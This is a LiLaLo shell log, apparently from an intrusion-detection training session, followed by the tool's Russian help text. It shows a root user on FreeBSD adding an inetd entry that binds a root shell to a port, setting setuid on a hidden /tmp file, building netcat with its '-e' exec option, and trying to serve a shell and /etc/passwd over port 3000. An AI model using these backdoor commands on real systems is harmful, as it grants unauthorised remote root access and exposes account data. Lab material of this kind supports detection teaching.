/l3/trainings/xg-ids/2005-12-19/fbsd1.linux.nt/root :1 :2 :3 :4 :5 :6 :7 :8 |
|
#vi /etc/rc.conf
|
#/etc/rc.d/inetd restart
inetd not running? (check /var/run/inetd.pid). Starting inetd. |
#vi /etc/rc.conf
|
#/etc/rc.d/inetd restart
Stopping inetd. Starting inetd. |
#vi /etc/inetd.conf
|
#sockstat -4
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS root inetd 33804 4 tcp4 *:79 *:* root sshd 27455 3 tcp4 192.168.15.21:22 192.168.15.254:34207 www httpd 50405 16 tcp4 *:80 *:* www httpd 50404 16 tcp4 *:80 *:* www httpd 50375 16 tcp4 *:80 *:* root Xorg 47508 3 tcp4 *:6000 *:* www httpd 39266 16 tcp4 *:80 *:* root syslog-ng 536 6 udp4 *:514 *:* root syslog-ng 536 8 udp4 192.168.15.21:52980 192.168.15.22:514 www httpd 527 16 tcp4 *:80 *:* www httpd 526 16 tcp4 *:80 *:* www httpd 525 16 tcp4 *:80 *:* www httpd 524 16 tcp4 *:80 *:* www httpd 523 16 tcp4 *:80 *:* mysql mysqld 522 3 tcp4 *:3306 *:* root httpd 464 16 tcp4 *:80 *:* root sendmail 431 3 tcp4 127.0.0.1:25 *:* root sshd 425 4 tcp4 *:22 *:* |
#vi /etc/inetd.conf
|
#chmod +s /tmp/.vi
|
#ls -l /dev/ad1
crw-r----- 1 root operator 0, 74 Dec 20 09:24 /dev/ad1 |
#mknod
![]() usage: mknod name [b | c] major minor [owner:group] |
#ls -l /dev/ad1
crw-r----- 1 root operator 0, 74 Dec 20 09:24 /dev/ad1 |
#cd /usr/ports/
|
#make search name=tools
Maint: dom@happygiraffe.net B-deps: R-deps: WWW: http://pobox.com/~djb/daemontools.html Port: dvd+rw-tools-5.21.4.10.8 Path: /usr/ports/sysutils/dvd+rw-tools Info: DVD burning software Maint: chuck@pkix.net B-deps: gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1 R-deps: cdrtools-2.01_1 ... B-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 gettext-0.14.5 glib-1.2.10_11 gtk-1.2.10_13 libiconv-1.9.2_1 perl-5.8.7 pkgconfig-0.17.2 xorg-libraries-6.8.2 R-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 gettext-0.14.5 glib-1.2.10_11 gtk-1.2.10_13 libiconv-1.9.2_1 mtools-3.9.8_4 perl-5.8.7 pkgconfig-0.17.2 xorg-libraries-6.8.2 WWW: http://www.core-coutainville.org/MToolsFM/ Port: boxtools-0.70.0 Path: /usr/ports/x11-wm/boxtools Info: Style tools for the blackbox family of window managers Maint: A.J.Caines@halplant.com B-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 libiconv-1.9.2_1 pkgconfig-0.17.2 xorg-libraries-6.8.2 R-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 libiconv-1.9.2_1 pkgconfig-0.17.2 xorg-libraries-6.8.2 WWW: http://blackboxwm.sourceforge.net/ |
#make search name=tools | grep -i fs
B-deps: afsp-8.1 gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1 R-deps: ORBit2-2.12.2 anjuta-1.2.2_4 aspell-0.60.3 at-spi-1.6.4 atk-1.9.1 bitstream-vera-1.10_1 conglomerate-0.9.1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gconfmm-2.10.0 gettext-0.14.5 ghex-2.8.1_2 glade2-2.10.0_1 glib-2.6.6 glibmm-2.6.1 gnome-icon-theme-2.10.1_1 gno B-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gmake-3.80_2 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gnutls-1.0.24_1 gtk-2.6.9 gtk-engines2-2.6.4 gt R-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gnutls-1.0.24_1 gtk-2.6.9 gtk-engines2-2.6.4 gtk-sharp-1.0.1 Info: Command-line utilities for reading Veritas Filesystem (VxFS) B-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gmake-3.80_2 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gtk-2.6.9 hicolor-icon-theme-0.5 intltool-0.34.1 jpeg-6b_3 R-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gnome-icon-theme-2.10.1_1 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4.2 gnomevfs2-2.10.1 gtk-2.6.9 hicolor-icon-theme-0.5 intltool-0.34.1 jpeg-6b_3 libIDL-0.8.6 WWW: http://unimut.fsk.uni-heidelberg.de/demi/photosmart/ WWW: http://www.geocities.co.jp/SiliconValley/3657/mkisofs_patch/ B-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 desktop-file-utils-0.10_2 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gmake-3.80_2 gnome-icon-theme-2.10.1_1 gnome-menus-2.10.2_1 gnomedesktop-2.10.2 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnom R-deps: ORBit2-2.12.2 atk-1.9.1 bitstream-vera-1.10_1 desktop-file-utils-0.10_2 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8.4 gconf2-2.10.1 gettext-0.14.5 glib-2.6.6 gnome-icon-theme-2.10.1_1 gnome-menus-2.10.2_1 gnomedesktop-2.10.2 gnomehier-2.0_7 gnomekeyring-0.4.3_1 gnomemimedata-2.4 Port: zisofs-tools-1.0.6 Path: /usr/ports/sysutils/zisofs-tools Info: User utilities for zisofs R-deps: ORBit2-2.12.2 apache-2.0.54_4 aspell-0.60.3 atk-1.9.1 bitstream-vera-1.10_1 bpm-0.4.1b_5 cjk-cdrtools-2.01.20041227_1 cog-0.8.0_2 db41-4.1.25_3 desktop-file-utils-0.10_2 djbfft-0.76_2 docbook-sk-4.1.2_3 docbook-xml-4.2_1 docbook-xsl-1.68.1 eel-2.10.1_1 eiciel-0.7 epiphany-1.6.4 epiphany-extensions-1.6.4 esound-0.2.36 expat-1.95.8_3 fam-2.6.9_6 fontconfig-2.2.3,1 freetype2-2.1.10_1 gail-1.8 |
#make search name=tools | grep -i fs | grep ^Info
Info: Command-line utilities for reading Veritas Filesystem (VxFS) Info: User utilities for zisofs |
#vi /etc/inetd.conf
88a89 > uucpd stream tcp nowait root /bin/sh sh -i |
#/etc/rc.d/inetd restart
Stopping inetd. Starting inetd. Otkryt' sebe kakoi-nibud' port cherez inetd |
#cd /usr/ports/
|
#make search name=netcat
Port: gnetcat-0.7.1_1 Path: /usr/ports/net/gnetcat Info: GPL'ed re-write of the well known networking tool netcat Maint: liamfoy@sepulcrum.org B-deps: gettext-0.14.5 libiconv-1.9.2_1 R-deps: gettext-0.14.5 libiconv-1.9.2_1 WWW: http://netcat.sourceforge.net/ Port: netcat-1.10_2 Path: /usr/ports/net/netcat Info: Simple utility which reads and writes data across network connections Maint: sumikawa@FreeBSD.org B-deps: R-deps: WWW: |
#make search name=nc
Path: /usr/ports/games/xchadance Info: Display a dancing girl "ChaCha." Maint: motoyuki@FreeBSD.org B-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 pkgconfig-0.17.2 xorg-libraries-6.8.2 R-deps: expat-1.95.8_3 fontconfig-2.2.3,1 freetype2-2.1.10_1 pkgconfig-0.17.2 xorg-libraries-6.8.2 WWW: Port: evince-0.3.0 Path: /usr/ports/graphics/evince Info: GNOME 2 multi-format document viewer Maint: gnome@FreeBSD.org ... Maint: sergei@FreeBSD.org B-deps: perl-5.8.7 R-deps: perl-5.8.7 WWW: http://hacks.dlux.hu/maildirsync/ Port: mailsync-5.2.1 Path: /usr/ports/mail/mailsync Info: Mailsync is a way of keeping a collection of mailboxes synchronized Maint: ports@FreeBSD.org B-deps: cclient-2004g,1 gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1 R-deps: cclient-2004g,1 |
#make search name=ncat
|
#make search keytt
Port: munger-4.60 Path: /usr/ports/lang/munger Info: Static lisp interpreter with text processing abilities Maint: jimmy@jamesbailie.com B-deps: R-deps: netcat-1.10_2 WWW: http://www.jamesbailie.com/munger.html Port: cryptcat-2.0 Path: /usr/ports/net/cryptcat Info: Standard netcat enhanced with twofish encryption ... B-deps: R-deps: WWW: http://www.inetcat.org/software/nbtscan.html Port: sst-1.0 Path: /usr/ports/security/sst Info: A simple SSL tunneling tool (uses netcat) Maint: mi@aldan.algebra.com B-deps: R-deps: netcat-1.10_2 WWW: http://utcc.utoronto.ca/~pkern/stuff/sst/ |
#cd net/netcat/
|
#ls
Makefile distinfo files pkg-descr |
#vi Makefile
|
#make
![]() x x x x tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu x [ OK ] Cancel x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj OK [Cancel] ===> Options unchanged ===> Vulnerability check disabled, database not found => nc110.tgz doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/. ^C^C |
#vi Makefile
|
#make config
x x x x x x x x x x x x x x x x x x x x [X] IPV6 enable IPv6 support x x [X] TELNET enable TELNET support x x [ ] GAPING enable GAPING_SECURITY_HOLE support x x x x tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu x [ OK ] Cancel x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj |
#make install
===> Vulnerability check disabled, database not found ===> Found saved configuration for netcat-1.10_2 => nc110.tgz doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/. fetch: ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/nc110.tgz: size unknown fetch: ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/nc110.tgz: size of remote file is not known nc110.tgz 73 kB 65 kBps => nc-v6-20000918.patch.gz doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from ftp://sith.mimuw.edu.pl/pub/users/baggins/IPv6/. nc-v6-20000918.patch.gz 100% of 8740 B 32 kBps ... make -e nc XFLAGS='-DFREEBSD -DIPV6 -DTELNET' STATIC=-static cc -s -O2 -fno-strict-aliasing -pipe -DFREEBSD -DIPV6 -DTELNET -static -o nc netcat.c ===> Installing for netcat-1.10_2 ===> Generating temporary packing list ===> Checking if net/netcat already installed install -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin install -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1 install -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat ===> Compressing manual pages for netcat-1.10_2 ===> Registering installation for netcat-1.10_2 |
#nc -e /bin/sh -l -p 3000
![]() usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port] [-s source_ip_address] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] |
#man nc
|
#cat /etc/passwd |
![]() usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port] [-s source_ip_address] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] |
#cat /etc/passwd | nc -l 3000
|
#ls
Makefile distinfo files pkg-descr work |
#vi Makefile
|
#make deinstall
===> Deinstalling for net/netcat ===> Deinstalling netcat-1.10_2 |
#make config
x x x x x x x x x x x x x x x x x x x x [X] IPV6 enable IPv6 support x x [X] TELNET enable TELNET support x x [X] GAPING enable GAPING_SECURITY_HOLE support x x x x tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu x [ OK ] Cancel x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj |
#make install
===> Installing for netcat-1.10_2 ===> Generating temporary packing list ===> Checking if net/netcat already installed install -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin install -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1 install -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat ===> Compressing manual pages for netcat-1.10_2 ===> Registering installation for netcat-1.10_2 |
#make clean
===> Cleaning for netcat-1.10_2 |
#make
===> Vulnerability check disabled, database not found ===> Found saved configuration for netcat-1.10_2 ===> Extracting for netcat-1.10_2 => Checksum OK for nc110.tgz. => Checksum OK for nc-v6-20000918.patch.gz. ===> Patching for netcat-1.10_2 ===> Applying distribution patches for netcat-1.10_2 ===> Applying FreeBSD patches for netcat-1.10_2 ===> Configuring for netcat-1.10_2 ===> Building for netcat-1.10_2 make -e nc XFLAGS='-DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE' STATIC=-static cc -s -O2 -fno-strict-aliasing -pipe -DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE -static -o nc netcat.c |
#make install
![]() ===> Installing for netcat-1.10_2 ===> Generating temporary packing list ===> Checking if net/netcat already installed ===> netcat-1.10_2 is already installed You may wish to ``make deinstall'' and install this port again by ``make reinstall'' to upgrade it properly. If you really wish to overwrite the old port of net/netcat without deleting it first, set the variable "FORCE_PKG_REGISTER" in your environment or the "make install" command line. *** Error code 1 Stop in /usr/ports/net/netcat. |
#make destall
===> Deinstalling for net/netcat ===> Deinstalling netcat-1.10_2 |
#make install
===> Installing for netcat-1.10_2 ===> Generating temporary packing list ===> Checking if net/netcat already installed install -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin install -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1 install -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat ===> Compressing manual pages for netcat-1.10_2 ===> Registering installation for netcat-1.10_2 |
#nc
![]() usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port] [-s source_ip_address] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] |
#nc -e /bin/sh -l 3000
![]() libipsec: syntax error while parsing "/" nc: ipsec_set_policy `/bin/sh': Invalid argument |
#ls
Makefile distinfo files pkg-descr work |
#cd work/
|
#ls
![]() .PLIST.flattened Makefile .PLIST.mktmp Makefile.orig .PLIST.objdump README .PLIST.setuid data .PLIST.writable generic.h .build_done.netcat-1.10_2._usr_local nc .configure_done.netcat-1.10_2._usr_local netcat.blurb .extract_done.netcat-1.10_2._usr_local netcat.c .install_done.netcat-1.10_2._usr_local netcat.c.orig .patch_done.netcat-1.10_2._usr_local scripts Changelog stupidh |
#less README
|
#nc -e /bin/sh -l 3000
![]() libipsec: syntax error while parsing "/" nc: ipsec_set_policy `/bin/sh': Invalid argument |
#nc -e sh -l 3000
![]() libipsec: syntax error while parsing "sh" nc: ipsec_set_policy `sh': Invalid argument |
#man netcat
![]() |
#man nc
|
#ls
.PLIST.flattened Makefile .PLIST.mktmp Makefile.orig .PLIST.objdump README .PLIST.setuid data .PLIST.writable generic.h .build_done.netcat-1.10_2._usr_local nc .configure_done.netcat-1.10_2._usr_local netcat.blurb .extract_done.netcat-1.10_2._usr_local netcat.c .install_done.netcat-1.10_2._usr_local netcat.c.orig .patch_done.netcat-1.10_2._usr_local scripts Changelog stupidh |
#less Changelog
|
#ls -l
total 688 -rw-r--r-- 1 root wheel 81 Dec 20 11:18 .PLIST.flattened -rw-r--r-- 1 root wheel 123 Dec 20 11:18 .PLIST.mktmp -rw-r--r-- 1 root wheel 56 Dec 20 11:18 .PLIST.objdump -rw-r--r-- 1 root wheel 0 Dec 20 11:18 .PLIST.setuid -rw-r--r-- 1 root wheel 0 Dec 20 11:18 .PLIST.writable -rw-r--r-- 1 root wheel 0 Dec 20 11:18 .build_done.netcat-1.10_2._usr_local -rw-r--r-- 1 root wheel 0 Dec 20 11:18 .configure_done.netcat-1.10_2._usr_local -rw-r--r-- 1 root wheel 0 Dec 20 11:18 .extract_done.netcat-1.10_2._usr_local -rw-r--r-- 1 root wheel 0 Dec 20 11:18 .install_done.netcat-1.10_2._usr_local ... -rw-r--r-- 1 root wheel 3805 Mar 20 1996 Makefile.orig -rw-r--r-- 1 root wheel 60834 Mar 20 1996 README drwxr-xr-x 2 root wheel 512 Dec 20 11:18 data -rw-r--r-- 1 root wheel 11629 Feb 18 1996 generic.h -rwxr-xr-x 1 root wheel 430788 Dec 20 11:18 nc -rw-r--r-- 1 root wheel 2645 Mar 20 1996 netcat.blurb -rw-r--r-- 1 root wheel 75373 Dec 20 11:18 netcat.c -rw-r--r-- 1 root wheel 58553 Mar 21 1996 netcat.c.orig drwxr-xr-x 2 root wheel 512 Dec 20 11:18 scripts -rwxr-xr-x 1 root wheel 8549 Nov 7 1995 stupidh |
#less netcat.c.orig
|
#less netcat.c
|
#cd ..
|
#make clean
===> Cleaning for netcat-1.10_2 |
#make deinstall
===> Deinstalling for net/netcat ===> Deinstalling netcat-1.10_2 |
#ls
Makefile distinfo files pkg-descr |
#vi Makefile
|
#make config
x x x x x x x x x x x x x x x x x x x x X x x x x x x x x tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu x [ OK ] Cancel x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj |
#make install
===> Vulnerability check disabled, database not found ===> Found saved configuration for netcat-1.10_2 ===> Extracting for netcat-1.10_2 => Checksum OK for nc110.tgz. => Checksum OK for nc-v6-20000918.patch.gz. ===> Patching for netcat-1.10_2 ===> Applying distribution patches for netcat-1.10_2 ===> Applying FreeBSD patches for netcat-1.10_2 ===> Configuring for netcat-1.10_2 ===> Building for netcat-1.10_2 make -e nc XFLAGS='-DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE' STATIC=-static cc -s -O2 -fno-strict-aliasing -pipe -DFREEBSD -DIPV6 -DTELNET -DGAPING_SECURITY_HOLE -static -o nc netcat.c ===> Installing for netcat-1.10_2 ===> Generating temporary packing list ===> Checking if net/netcat already installed install -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin install -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1 install -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat ===> Compressing manual pages for netcat-1.10_2 ===> Registering installation for netcat-1.10_2 |
#nc -e /bin/sh
![]() usage: nc [-46DEdhklnrStUuvz] [-e policy] [-i interval] [-p source_port] [-s source_ip_address] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] |
#nc -e /bin/sh -l 3000
![]() libipsec: syntax error while parsing "/" nc: ipsec_set_policy `/bin/sh': Invalid argument |
#nc -e bin/sh -l 3000
![]() libipsec: syntax error while parsing "bin" nc: ipsec_set_policy `bin/sh': Invalid argument |
#nc -e /in/sh -l 3000
![]() libipsec: syntax error while parsing "/" nc: ipsec_set_policy `/bin/sh': Invalid argument |
#ls
Makefile distinfo files pkg-descr work |
#cd work/
|
#ls
![]() .PLIST.flattened Makefile .PLIST.mktmp Makefile.orig .PLIST.objdump README .PLIST.setuid data .PLIST.writable generic.h .build_done.netcat-1.10_2._usr_local nc .configure_done.netcat-1.10_2._usr_local netcat.blurb .extract_done.netcat-1.10_2._usr_local netcat.c .install_done.netcat-1.10_2._usr_local netcat.c.orig .patch_done.netcat-1.10_2._usr_local scripts Changelog stupidh |
#less README
|
#ls
.PLIST.flattened Makefile .PLIST.mktmp Makefile.orig .PLIST.objdump README .PLIST.setuid data .PLIST.writable generic.h .build_done.netcat-1.10_2._usr_local nc .configure_done.netcat-1.10_2._usr_local netcat.blurb .extract_done.netcat-1.10_2._usr_local netcat.c .install_done.netcat-1.10_2._usr_local netcat.c.orig .patch_done.netcat-1.10_2._usr_local scripts Changelog stupidh |
#less netcat.c
|
#less netcat.c
|
#ls
![]() .PLIST.flattened Makefile .PLIST.mktmp Makefile.orig .PLIST.objdump README .PLIST.setuid data .PLIST.writable generic.h .build_done.netcat-1.10_2._usr_local nc .configure_done.netcat-1.10_2._usr_local netcat.blurb .extract_done.netcat-1.10_2._usr_local netcat.c .install_done.netcat-1.10_2._usr_local netcat.c.orig .patch_done.netcat-1.10_2._usr_local scripts Changelog stupidh |
#cd ..
|
#ls
![]() Makefile distinfo files pkg-descr work |
#make clean
===> Cleaning for netcat-1.10_2 |
#vi Makefile
|
#make config
x x x x x x x x x x x x x x x x x x x x x x X x x x x x x tqmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqjqu x [ OK ] Cancel x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj |
#make install
![]() ===> Vulnerability check disabled, database not found ===> Found saved configuration for netcat-1.10_2 ===> Extracting for netcat-1.10_2 => Checksum OK for nc110.tgz. => Checksum OK for nc-v6-20000918.patch.gz. ===> Patching for netcat-1.10_2 ===> Applying distribution patches for netcat-1.10_2 ===> Applying FreeBSD patches for netcat-1.10_2 ===> Configuring for netcat-1.10_2 ===> Building for netcat-1.10_2 ... ===> Generating temporary packing list ===> Checking if net/netcat already installed ===> netcat-1.10_2 is already installed You may wish to ``make deinstall'' and install this port again by ``make reinstall'' to upgrade it properly. If you really wish to overwrite the old port of net/netcat without deleting it first, set the variable "FORCE_PKG_REGISTER" in your environment or the "make install" command line. *** Error code 1 Stop in /usr/ports/net/netcat. |
#make deinstall && make install
===> Deinstalling for net/netcat ===> Deinstalling netcat-1.10_2 ===> Installing for netcat-1.10_2 ===> Generating temporary packing list ===> Checking if net/netcat already installed install -s -o root -g wheel -m 555 /usr/ports/net/netcat/work/nc /usr/local/bin install -o root -g wheel -m 444 /usr/ports/net/netcat/files/nc.1 /usr/local/man/man1 install -o root -g wheel -m 444 /usr/ports/net/netcat/work/README /usr/local/share/doc/netcat ===> Compressing manual pages for netcat-1.10_2 ===> Registering installation for netcat-1.10_2 |
#nc -e /bin/sh -l 3000
![]() libipsec: syntax error while parsing "/" nc: ipsec_set_policy `/bin/sh': Invalid argument |
#man nc
|
#cd work/
|
#grep -i ipsec *
![]() |
#grep -i ipsec
![]() .PLIST.flattened Makefile .PLIST.mktmp Makefile.orig .PLIST.objdump README .PLIST.setuid data/ .PLIST.writable generic.h .build_done.netcat-1.10_2._usr_local nc .configure_done.netcat-1.10_2._usr_local netcat.blurb .extract_done.netcat-1.10_2._usr_local netcat.c .install_done.netcat-1.10_2._usr_local netcat.c.orig .patch_done.netcat-1.10_2._usr_local scripts/ Changelog stupidh |
#grep -ri ipsec .
![]() |
exit Metody daleko ne vse!!!! Rassmotreny samye prostye!!!
Время первой команды журнала | 10:20:28 2006-12-20 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Время последней команды журнала | 11:27:32 2006-12-20 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в журнале | 97 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Процент команд с ненулевым кодом завершения, % | 19.59 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Процент синтаксически неверно набранных команд, % | 0.00 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Суммарное время работы с терминалом *, час | 0.40 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в единицу времени, команда/мин | 4.08 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Частота использования команд |
|
В журнал автоматически попадают все команды, данные в любом терминале системы.
Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.
Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
$ l s-l bash: l: command not found |
Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
$ test 5 -lt 4 |
Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
$ find / -name abc find: /home/devi-orig/.gnome2: Keine Berechtigung find: /home/devi-orig/.gnome2_private: Keine Berechtigung find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung find: /home/devi-orig/.metacity: Keine Berechtigung find: /home/devi-orig/.inkscape: Keine Berechtigung ^C |
Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
# id uid=0(root) gid=0(root) Gruppen=0(root) |
Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
$ vi ~/.bashrc
|
Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
$ patch ~/.bashrc |
Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.
Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.
Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.
Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора
Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.
Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.
Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:
$ whoami
user
$ #^ Интересно, кто я?в журнале это будет выглядеть так:
$ whoami
user
Интересно, кто я? |
Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:
$ whoami
user
$ cat > /dev/null #^ Интересно, кто я?
Программа whoami выводит имя пользователя, под которым мы зарегистрировались в системе. - Она не может ответить на вопрос о нашем назначении в этом мире.В журнале это будет выглядеть так:
$ whoami user
|
Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=
1 2 3 4Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.
LiLaLo (L3) расшифровывается как Live Lab Log.
Программа разработана для повышения эффективности обучения Unix/Linux-системам.
(c) Игорь Чубин, 2004-2008